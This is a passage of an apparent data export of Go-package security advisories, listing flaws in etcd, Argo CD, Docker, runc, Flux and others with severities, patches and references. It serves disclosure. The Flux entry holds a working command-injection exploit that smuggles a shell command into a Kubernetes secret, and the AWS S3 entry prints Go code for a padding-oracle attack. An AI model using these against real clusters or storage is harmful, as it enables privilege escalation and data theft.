If you have any questions or comments about this advisory:
* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)
* Email us at [Personnummer Email](mailto:security@personnummer.dev)
### Credits
Niklas Sköldmark (Medborgarskolan) | null | 2021-05-24T17:26:30Z | 2022-02-11T23:28:20Z | LOW | null | null | {'https://github.com/personnummer/go/security/advisories/GHSA-hv53-vf5m-8q94'} | null |
Go | GO-2021-0090 | null | Proposed commits may contain signatures for blocks not contained within the commit. Instead of skipping
these signatures, they cause failure during verification. A malicious proposer can use this to force
consensus failures.
| {'CVE-2020-15091'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/tendermint/tendermint/commit/480b995a31727593f58b361af979054d17d84340', 'https://github.com/tendermint/tendermint/pull/5426', 'https://github.com/tendermint/tendermint/issues/4926'} | null |
Go | GHSA-rmh2-65xw-9m6q | Infinite Loop in jsonparser | The Library API in buger jsonparser through 2019-12-04 allows attackers to cause a denial of service (infinite loop) via a Delete call. | {'CVE-2020-10675'} | 2021-05-04T21:51:17Z | 2021-05-18T18:26:25Z | MODERATE | null | {'CWE-835'} | {'https://github.com/buger/jsonparser/issues/188', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4C7PV6KEUUM76V4B2J5IFN2U6LEOWB67/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-10675'} | null |
Go | GHSA-h6xx-pmxh-3wgp | Improper Authentication in etcd | etcd versions 3.2.x before 3.2.26 and 3.3.x before 3.3.11 are vulnerable to an improper authentication issue when role-based access control (RBAC) is used and client-cert-auth is enabled. If an etcd client server TLS certificate contains a Common Name (CN) which matches a valid RBAC username, a remote attacker may authenticate as that user with any valid (trusted) client certificate in a REST API request to the gRPC-gateway. | {'CVE-2018-16886'} | 2022-04-12T22:41:32Z | 2022-04-12T22:41:32Z | HIGH | null | {'CWE-287', 'CWE-285'} | {'https://github.com/etcd-io/etcd/blob/1eee465a43720d713bb69f7b7f5e120135fdb1ac/CHANGELOG-3.3.md#security-authentication', 'https://github.com/etcd-io/etcd/blob/1eee465a43720d713bb69f7b7f5e120135fdb1ac/CHANGELOG-3.2.md#security-authentication', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPGYHMSKDPW5GAMI7BEP3XQRVRLLBJKS/', 'http://www.securityfocus.com/bid/106540', 'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2', 'https://github.com/etcd-io/etcd/commit/0191509637546621d6f2e18e074e955ab8ef374d', 'https://github.com/etcd-io/etcd/pull/10366', 'https://access.redhat.com/errata/RHSA-2019:1352', 'https://nvd.nist.gov/vuln/detail/CVE-2018-16886', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JX7QTIT465BQGRGNCE74RATRQLKT2QE4/', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16886', 'https://access.redhat.com/errata/RHSA-2019:0237'} | null |
Go | GHSA-2f5v-8r3f-8pww | Improper access control allows admin privilege escalation in Argo CD | ### Impact
#### Impacts for versions starting with v1.0.0
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to an improper access control bug, allowing a malicious user to potentially escalate their privileges to admin-level.
To perform the following exploits, an authorized Argo CD user must have push access to an Application's source git or Helm repository or `sync` _and_ `override` access to an Application. Once a user has that access, different exploitation levels are possible depending on their other RBAC privileges:
1. If that user has `update` access to the Application, they can modify any resource on the Application's destination cluster. If the destination cluster is or can be made to be the same as the cluster hosting Argo CD, the user can escalate their Argo CD permissions to admin-level.
2. If the user has `delete` access to the Application, they can delete any resource on the Application's destination cluster. (This exploit is possible starting with v0.8.0.)
3. If the user has `get` access to the Application, they can view any resource on the Application's destination cluster (except for the contents of Secrets) and list [actions](https://argo-cd.readthedocs.io/en/stable/operator-manual/resource_actions/) available for that resource.
4. If the user has `get` access to the Application, they can view the logs of any Pods on the Application's destination cluster.
5. If the user has `action/{some action or *}` access on the Application, they can run an action for any resource (which supports the allowed action(s)) on the Application's destination cluster. (Some actions are available in Argo CD by default, and others may be configured by an Argo CD admin.)
See the [Argo CD RBAC documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#rbac-resources-and-actions) for an explanation of the privileges available in Argo CD.
##### Events exploit
A related exploit is possible for a user with `get` access to an Application **even if they do not have access to the Application's source git or Helm repository or `sync` and `override` access to the Application**. The user can access any Event in the Application's destination cluster if they know the involved object's name, UID, and namespace.
#### Impacts for versions starting with v0.8.0
The same bug exists starting with v0.8.0, but only the following exploits were possible before v1.0.0:
* The `delete` exploit (#⁠2 above).
* The logs exploit (#⁠4 above).
* The Events exploit described above.
#### Impacts for versions starting with v0.5.0
The same bug exists starting with v0.5.0 (when RBAC was implemented), but only the Events exploit described above was possible before v0.8.0.
### Patches
A patch for this vulnerability has been released in the following Argo CD versions:
* v2.3.2
* v2.2.8
* v2.1.14
**Versions 2.0.x and earlier users:** See the [changelog](https://github.com/argoproj/argo-cd/blob/master/CHANGELOG.md) for links to upgrade instructions for your version. It is imperative to upgrade quickly, but some limited mitigations are described in the next section.
**argo-helm chart users:** Argo CD users deploying v2.3.x with [argo-helm](https://github.com/argoproj/argo-helm) can upgrade the chart to version 4.2.2. Argo CD 2.2 and 2.1 users can set the `global.image.tag` value to the latest in your current release series (`v2.2.8`, or `v2.1.14`). Since charts for the 2.2 and 2.1 series are no longer maintained, you will need to either leave the value override in place or upgrade to the 4.x chart series (and therefore to Argo CD 2.3).
### Workarounds
The only certain way to avoid the vulnerability is to upgrade.
#### Mitigations
* To avoid privilege escalation:
* Limit who has push access to Application source repositories or `sync` + `override` access to Applications.
* Limit which repositories are available in [projects](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/) where users have `update` access to Applications.
* To avoid unauthorized resource inspection/tampering:
* Limit who has `delete`, `get`, or `action` access to Applications.
These mitigations can help limit potential damage, but they are _not_ a substitute for upgrading. It is necessary to upgrade immediately.
### References
* [Argo CD RBAC configuration documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#)
### For more information
Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd
| {'CVE-2022-24768'} | 2022-03-24T00:18:54Z | 2022-03-24T00:18:54Z | CRITICAL | null | {'CWE-200', 'CWE-269'} | {'https://github.com/argoproj/argo-cd/releases/tag/v2.1.14', 'https://github.com/argoproj/argo-cd/releases/tag/v2.3.2', 'https://github.com/argoproj/argo-cd', 'https://github.com/argoproj/argo-cd/security/advisories/GHSA-2f5v-8r3f-8pww', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24768', 'https://github.com/argoproj/argo-cd/commit/af03b291d4b7e9d3ce9a6580ae9c8141af0e05cf', 'https://github.com/argoproj/argo-cd/releases/tag/v2.2.8'} | null |
Go | GHSA-27rq-4943-qcwp | Insertion of Sensitive Information into Log File in Hashicorp go-getter | The Hashicorp go-getter library before 1.5.11 could write SSH credentials into its logfile, exposing sensitive credentials to local users able to read the logfile. | {'CVE-2022-29810'} | 2022-05-03T20:19:26Z | 2022-04-28T00:00:35Z | MODERATE | null | {'CWE-532'} | {'https://github.com/hashicorp/go-getter', 'https://github.com/hashicorp/go-getter/releases/tag/v1.5.11', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29810', 'https://github.com/hashicorp/go-getter/pull/348', 'https://github.com/hashicorp/go-getter/commit/36b68b2f68a3ed10ee7ecbb0cb9f6b1dc5da49cc'} | null |
Go | GHSA-9h63-7qf6-mv6r | Improper Authorization in github.com/containers/libpod | A flaw was found in podman before 1.7.0. File permissions for non-root users running in a privileged container are not correctly checked. This flaw can be abused by a low-privileged user inside the container to access any other file in the container, even if owned by the root user inside the container. It does not allow to directly escape the container, though being a privileged container means that a lot of security features are disabled when running the container. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. | {'CVE-2021-20188'} | 2021-05-07T22:01:02Z | 2021-05-18T18:33:12Z | HIGH | null | {'CWE-863'} | {'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24', 'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20188', 'https://bugzilla.redhat.com/show_bug.cgi?id=1915734'} | null |
Go | GO-2020-0018 | null | UUIDs generated using [`NewV1`] and [`NewV4`] may not read the expected
number of random bytes. These UUIDs may contain a significantly smaller
amount of entropy than expected, possibly leading to collisions.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/satori/go.uuid/pull/75', 'https://github.com/satori/go.uuid/commit/d91630c8510268e75203009fe7daf2b8e1d60c45', 'https://github.com/satori/go.uuid/issues/73'} | null |
Go | GHSA-wxj3-qwv4-cvfm | Privilege Escalation in Docker | Docker 1.0.0 uses world-readable and world-writable permissions on the management socket, which allows local users to gain privileges via unspecified vectors. | {'CVE-2014-3499'} | 2021-05-20T21:11:35Z | 2022-02-15T00:40:44Z | HIGH | null | {'CWE-269'} | {'https://nvd.nist.gov/vuln/detail/CVE-2014-3499', 'https://rhn.redhat.com/errata/RHSA-2014-0820.html', 'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3499', 'https://bugzilla.redhat.com/show_bug.cgi?id=1111687'} | null |
Go | GO-2021-0053 | null | Due to improper bounds checking, maliciously crafted input to generated
Unmarshal methods can cause an out-of-bounds panic. If parsing messages
from untrusted parties, this may be used as a denial of service vector.
| {'CVE-2021-3121'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc'} | null |
Go | GHSA-86r9-39j9-99wp | Elliptic Curve Key Disclosure in go-jose | go-jose before 1.0.4 suffers from an invalid curve attack for the ECDH-ES algorithm. When deriving a shared key using ECDH-ES for an encrypted message, go-jose neglected to check that the received public key on a message is on the same curve as the static private key of the receiver, thus making it vulnerable to an invalid curve attack. | {'CVE-2016-9121'} | 2021-05-20T16:54:50Z | 2021-06-23T17:17:52Z | CRITICAL | null | {'CWE-326'} | {'https://hackerone.com/reports/164590', 'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507', 'https://nvd.nist.gov/vuln/detail/CVE-2016-9121', 'https://www.openwall.com/lists/oss-security/2016/11/03/1'} | null |
Go | GHSA-35rf-v2jv-gfg7 | Privilege escalation to cluster admin on multi-tenant environments | Users that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.
### Impact
Multitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.
### Exploit
To exploit the command injection, first we create a secret with a shell command:
```sh
kubectl create secret generic exploit-token --from-literal=token=" || kubectl api-versions"
```
Then we create a Service Account that refers to the above Secret:
```yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: exploit
namespace: default
automountServiceAccountToken: false
secrets:
- name: exploit-token
```
And finally a Kustomization that runs under the above Service Account:
```yaml
apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
kind: Kustomization
metadata:
name: exploit
namespace: default
spec:
interval: 5m
path: "./deploy/"
sourceRef:
kind: GitRepository
name: app
serviceAccountName: exploit
```
When kustomize-controller reconciles the above Kustomization, it will execute the shell command from the secret.
### Patches
This vulnerability was fixed in kustomize-controller v0.15.0 (included in flux2 v0.18.0) released on 2021-10-08. Starting with v0.15, the kustomize-controller no longer executes shell commands on the container OS and the `kubectl` binary has been removed from the container image.
### Workarounds
To prevent the creation of Kubernetes Service Accounts with `secrets` in namespaces owned by tenants, a Kubernetes validation webhook such as Gatekeeper OPA or Kyverno can be used.
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-sa
spec:
validationFailureAction: enforce
background: false
rules:
- name: validate-sa
match:
resources:
kinds:
- ServiceAccount
namespaces:
- tenant1
- tenant2
subjects:
- kind: User
name: some@tenant1.com
- kind: User
name: some@tenant2.com
- kind: ServiceAccount
name: kustomize-controller
namespace: flux-system
- kind: ServiceAccount
name: helm-controller
namespace: flux-system
validate:
message: "Invalid service account"
pattern:
X(secrets): "*?"
```
### References
Disclosed by ADA Logics in a security audit of the Flux project sponsored by CNCF and facilitated by OSTIF.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [kustomize-controller repository](http://github.com/fluxcd/kustomize-controller)
| {'CVE-2021-41254'} | 2021-11-12T18:57:27Z | 2021-11-15T17:35:33Z | HIGH | null | {'CWE-78'} | {'https://github.com/fluxcd/kustomize-controller', 'https://github.com/fluxcd/kustomize-controller/security/advisories/GHSA-35rf-v2jv-gfg7', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41254'} | null |
Go | GHSA-g5gj-9ggf-9vmq | Infinite certificate chain depth results in OctoRPKI running forever | OctoRPKI does not limit the depth of a certificate chain, allowing for a CA to create children in an ad-hoc fashion, thereby making tree traversal never end.
## Patches
## For more information
If you have any questions or comments about this advisory email us at security@cloudflare.com
| {'CVE-2021-3908'} | 2021-11-10T18:18:55Z | 2021-11-10T20:38:53Z | MODERATE | null | {'CWE-400'} | {'https://github.com/cloudflare/cfrpki/security/advisories/GHSA-g5gj-9ggf-9vmq', 'https://github.com/cloudflare/cfrpki', 'https://www.debian.org/security/2022/dsa-5041', 'https://github.com/cloudflare/cfrpki/releases/tag/v1.4.0', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3908'} | null |
Go | GHSA-vj3f-3286-r4pf | Path Traversal in Docker | Path traversal vulnerability in Docker before 1.3.3 allows remote attackers to write to arbitrary files and bypass a container protection mechanism via a full pathname in a symlink in an (1) image or (2) build in a Dockerfile. | {'CVE-2014-9356'} | 2021-05-17T21:28:16Z | 2021-05-18T21:09:17Z | HIGH | null | {'CWE-22'} | {'https://nvd.nist.gov/vuln/detail/CVE-2014-9356', 'http://www.securityfocus.com/archive/1/archive/1/534215/100/0/threaded', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9356', 'https://access.redhat.com/security/cve/cve-2014-9356', 'https://bugzilla.redhat.com/show_bug.cgi?id=1172761', 'https://groups.google.com/forum/#%21msg/docker-user/nFAz-B-n4Bw/0wr3wvLsnUwJ'} | null |
Go | GHSA-mc8v-mgrf-8f4m | Clarify Content-Type handling | ### Impact
In the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both “manifests” and “layers” fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently.
### Patches
The OCI Distribution Specification will be updated to require that a `mediaType` value present in a manifest or index match the Content-Type header used during the push and pull operations.
### Workarounds
Clients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/distribution-spec/
* Email us at security@opencontainers.org
| {'CVE-2021-41190'} | 2021-12-13T13:12:02Z | 2021-11-18T16:13:08Z | LOW | null | {'CWE-843'} | {'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41190', 'http://www.openwall.com/lists/oss-security/2021/11/19/10', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4OJ764CKKCWCVONHD4YXTGR7HZ7LRUV/', 'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DX63GRWFEI5RVMYV6XLMCG4OHPWZML27/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RZTO6N55WHKHIZI4IMLY2QFBPMVTAERM/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/A2RRFNTMFYKOTRKD37F5ANMCIO3GGJML/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SQBCYJUIM5GVCMFUPRWKRZNXMMI5EFA4/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3TUZNDAH2B26VPBK342UC3BHZNLBUXGX/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YIGVQWOA5XXCQXEOOKZX4CDAGLBDRPRX/', 'https://github.com/opencontainers/distribution-spec', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4334HT7AZPLWNYHW4ARU6JBUF3VZJPZN/'} | null |
Go | GHSA-4w5x-x539-ppf5 | Incorrect handling of credential expiry by NATS Server |
## Problem Description
NATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.
The NATS accounts system has expiration timestamps on credentials; the <https://github.com/nats-io/jwt> library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.
A new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this. The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.
The CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.
## Affected versions
#### JWT library
* all versions prior to 1.1.0
* fixed after nats-io/jwt PR 103 landed (2020-10-06)
#### NATS Server
* Version 2 prior to 2.1.9
+ 2.0.0 through and including 2.1.8 are vulnerable.
* fixed with nats-io/nats-server PRs 1632, 1635, 1645
## Impact
Time-based credential expiry did not work.
## Workaround
Have credentials which only expire after fixes can be deployed.
## Solution
Upgrade the JWT dependency in any application using it.
Upgrade the NATS server if using NATS Accounts. | {'CVE-2020-26892'} | 2022-02-11T23:42:20Z | 2022-02-11T23:42:20Z | HIGH | null | {'CWE-798'} | {'https://github.com/nats-io/jwt/security/advisories/GHSA-4w5x-x539-ppf5', 'https://www.openwall.com/lists/oss-security/2020/11/02/2', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26892', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT67XCLIIBYRT762SVFBYFFTQFVSM3SI/', 'https://github.com/nats-io/nats-server/commits/master', 'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f', 'https://advisories.nats.io/CVE/CVE-2020-26892.txt'} | null |
Go | GHSA-m358-g4rp-533r | SQL Injection in Casdoor | The query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations. | {'CVE-2022-24124'} | 2022-02-07T21:15:30Z | 2022-02-01T00:49:39Z | HIGH | null | {'CWE-89'} | {'https://github.com/casdoor/casdoor', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24124', 'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c', 'https://github.com/casdoor/casdoor/pull/442', 'https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1', 'http://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html', 'https://github.com/casdoor/casdoor/issues/439'} | null |
Go | GHSA-m6m5-pp4g-fcc8 | S3 storage write is not aborted on errors leading to unbounded memory usage | ### Impact
Anyone using storage.blob.s3 introduced in 0.5.0 with storage.imapsql.
```
storage.imapsql local_mailboxes {
...
msg_store s3 {
...
}
}
```
### Patches
The relevant commit is pushed to master and will be included in the 0.5.1 release.
No special handling of the issue has been done due to the small amount of affected users.
### Workarounds
None.
### References
* Original report: https://github.com/foxcpp/maddy/issues/395
* Fix: https://github.com/foxcpp/maddy/commit/07c8495ee4394fabbf5aac4df8aebeafb2fb29d8 | null | 2021-10-06T16:48:49Z | 2021-10-06T17:47:35Z | HIGH | null | {'CWE-772'} | {'https://github.com/foxcpp/maddy', 'https://github.com/foxcpp/maddy/security/advisories/GHSA-m6m5-pp4g-fcc8'} | null |
Go | GHSA-xhg2-rvm8-w2jh | Cross-site Request Forgery (CSRF) | Rancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. The attack requires a victim to be logged into a Rancher server, and then to access a third-party site hosted by the exploiter. Once that is accomplished, the exploiter is able to execute commands against the cluster's Kubernetes API with the permissions and identity of the victim. | {'CVE-2019-13209'} | 2022-04-25T20:20:18Z | 2021-05-18T15:42:40Z | HIGH | null | {'CWE-352', 'CWE-79'} | {'https://forums.rancher.com/t/rancher-release-v2-2-5-addresses-rancher-cve-2019-13209/14801', 'https://forums.rancher.com/c/announcements', 'https://github.com/rancher/rancher', 'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088', 'https://nvd.nist.gov/vuln/detail/CVE-2019-13209'} | null |
Go | GHSA-8h2g-r292-j8xh | L7 deny intention results in an allow action | In HashiCorp Consul before 1.10.1 (and Consul Enterprise), xds can generate a situation where a single L7 deny intention (with a default deny policy) results in an allow action. | {'CVE-2021-36213'} | 2021-10-05T17:30:52Z | 2021-07-19T21:21:12Z | HIGH | null | null | {'https://discuss.hashicorp.com/t/hcsec-2021-16-consul-s-application-aware-intentions-deny-action-fails-open-when-combined-with-default-deny-policy/26855', 'https://nvd.nist.gov/vuln/detail/CVE-2021-36213', 'https://github.com/hashicorp/consul/releases/tag/v1.10.1', 'https://github.com/hashicorp/consul/', 'https://www.hashicorp.com/blog/category/consul'} | null |
Go | GO-2021-0100 | null | Due to a goroutine deadlock, using github.com/containers/storage/pkg/archive.DecompressStream
on a xz archive returns a reader which will hang indefinitely when Close is called. An attacker
can use this to cause denial of service if they are able to cause the caller to attempt to
decompress an archive they control.
| {'CVE-2021-20291'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/containers/storage/pull/860', 'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1', 'https://bugzilla.redhat.com/show_bug.cgi?id=1939485', 'https://github.com/advisories/GHSA-7qw8-847f-pggm'} | null |
Go | GHSA-f5pg-7wfw-84q9 | CBC padding oracle issue in AWS S3 Crypto SDK for golang | ### Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.
### Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.
This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.
This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.
### Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.
### Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.
This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):
```golang
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
padding := byte(len(data) - length)
plaintext := make([]byte, length)
for i := length - 1; i >= 0; i-- {
newLength := 16 * (i/16 + 1)
dataCopy := make([]byte, newLength)
headerCopy := header.Clone()
copy(dataCopy, data)
// Set Padding
newPadding := byte(newLength - i)
for j := i + 1; j < newLength; j++ {
var oldValue byte
if j >= length {
oldValue = padding
} else {
oldValue = plaintext[j]
}
dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
if err != nil {
return "", err
}
}
// Guess
for c := 0; c < 256; c++ {
dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
if input.Oracle(bucket, key+"guess") {
plaintext[i] = byte(c)
break
}
dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
}
}
return string(plaintext), nil
}
``` | {'CVE-2020-8911'} | 2021-05-24T17:57:15Z | 2022-02-11T23:26:26Z | MODERATE | null | {'CWE-327'} | {'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8911', 'https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09', 'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc', 'https://bugzilla.redhat.com/show_bug.cgi?id=1869800', 'https://github.com/google/security-research/security/advisories/GHSA-f5pg-7wfw-84q9', 'https://github.com/aws/aws-sdk-go/pull/3403'} | null |
Go | GHSA-5hjh-c26m-xw8w | ProxyScotch is vulnerable to a server-side Request Forgery (SSRF) | ProxyScotch is a simple proxy server created for hoppscotch.io. The package github.com/hoppscotch/proxyscotch before 1.0.0 are vulnerable to Server-side Request Forgery (SSRF) when interceptor mode is set to proxy. It occurs when an HTTP request is made by a backend server to an untrusted URL submitted by a user. It leads to a leakage of sensitive information from the server. | {'CVE-2022-25850'} | 2022-05-04T20:14:02Z | 2022-05-03T00:00:44Z | HIGH | null | {'CWE-918'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-25850', 'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMHOPPSCOTCHPROXYSCOTCH-2435228', 'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7', 'https://github.com/hoppscotch/proxyscotch'} | null |
Go | GHSA-v95c-p5hm-xq8f | Overflow in netlink bytemsg length field allows attacker to override netlink-based container configuration | ### Impact
In runc, [netlink](https://www.man7.org/linux/man-pages/man7/netlink.7.html) is used internally as a serialization system for specifying the relevant container configuration to the C portion of our code (responsible for the based namespace setup of containers). In all versions of runc prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container configuration.
This vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their own netlink payload which disables all namespaces.
Prior to 9c444070ec7bb83995dbc0185da68284da71c554, in practice it was fairly difficult to specify an arbitrary-length netlink message with most container runtimes. The only user-controlled byte array was the namespace paths attributes which can be specified in runc's `config.json`, but as far as we can tell no container runtime gives raw access to that configuration setting -- and having raw access to that setting **would allow the attacker to disable namespace protections entirely anyway** (setting them to `/proc/1/ns/...` for instance). In addition, each namespace path is limited to 4096 bytes (with only 7 namespaces supported by runc at the moment) meaning that even with custom namespace paths it appears an attacker still cannot shove enough bytes into the netlink bytemsg in order to overflow the uint16 counter.
However, out of an abundance of caution (given how old this bug is) we decided to treat it as a potentially exploitable vulnerability with a low severity. After 9c444070ec7bb83995dbc0185da68284da71c554 (which was not present in any release of runc prior to the discovery of this bug), all mount paths are included as a giant netlink message which means that this bug becomes significantly more exploitable in more reasonable threat scenarios.
The main users impacted are those who allow untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure), though as mentioned above it appears this bug was not practically exploitable on any released version of runc to date.
### Patches
The patch for this is d72d057ba794164c3cce9451a00b72a78b25e1ae and runc 1.0.3 was released with this bug fixed.
### Workarounds
To the extent this is exploitable, disallowing untrusted namespace paths in container configuration should eliminate all practical ways of exploiting this bug. It should be noted that untrusted namespace paths would allow the attacker to disable namespace protections entirely even in the absence of this bug.
### References
* commit d72d057ba794 ("runc init: avoid netlink message length overflows")
* https://bugs.chromium.org/p/project-zero/issues/detail?id=2241
### Credits
Thanks to Felix Wilhelm from Google Project Zero for discovering and reporting this vulnerability. In particular, the fact they found this vulnerability so quickly, before we made a 1.1 release of runc (which would've been vulnerable) was quite impressive.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [our repo](https://github.com/opencontainers/runc)
